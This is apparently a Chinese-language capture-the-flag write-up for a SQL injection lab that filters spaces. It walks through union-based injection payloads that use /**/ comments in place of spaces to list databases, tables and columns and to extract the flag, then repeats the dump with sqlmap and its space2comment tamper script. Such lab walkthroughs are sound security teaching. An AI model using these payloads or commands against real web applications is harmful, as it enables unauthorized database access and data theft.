开启靶场,打开链接:
既然是过滤空格,绕过空格的方法:
用/**/或%0a替代空格
(1)判断注入点
1 and 1=1#

会显示hacker
1/**/and/**/1=1#

有回显
1/**/and/**/1=2#

无回显,说明是整数型注入
(2)判断字段数
1/**/order/**/by/**/2#

有回显
1/**/order/**/by/**/3#

无回显
(3)查看数据库位置
1/**/union/**/select/**/1,2#

看样子可能不在数据库中,老样子,改成-1/**/union/**/select/**/1,2#

回显成功
(4)爆数据库名
-1/**/union/**/select/**/1,database()#

得知数据库名是sqli
(5)爆表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'#

得知mksymzfdit表和news表
(6)爆列名
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='mksymzfdit'#

得知pttmgmuffp列
(7)爆字段内容(flag)
-1/**/union/**/select/**/1,group_concat(pttmgmuffp)/**/from/**/sqli.mksymzfdit#

成功得到flag:
ctfhub{b4ae90d2910e9ac6730f430c}
用sqlmap试试:

在sqlmap/tamper目录下有个space2comment.py脚本,可以将空格替换成/**/
python sqlmap.py -u "http://challenge-8e36042a0bc7f6e5.sandbox.ctfhub.com:10800/?id=1" --tamper "space2comment.py" --dbs
(如果爆的速度有点慢就加上--threads=10)

python sqlmap.py -u "http://challenge-8e36042a0bc7f6e5.sandbox.ctfhub.com:10800/?id=1" --tamper "space2comment.py" -D sqli --tables

python sqlmap.py -u "http://challenge-8e36042a0bc7f6e5.sandbox.ctfhub.com:10800/?id=1" --tamper "space2comment.py" -D sqli -T mksymzfdit --dump

成功得到flag



















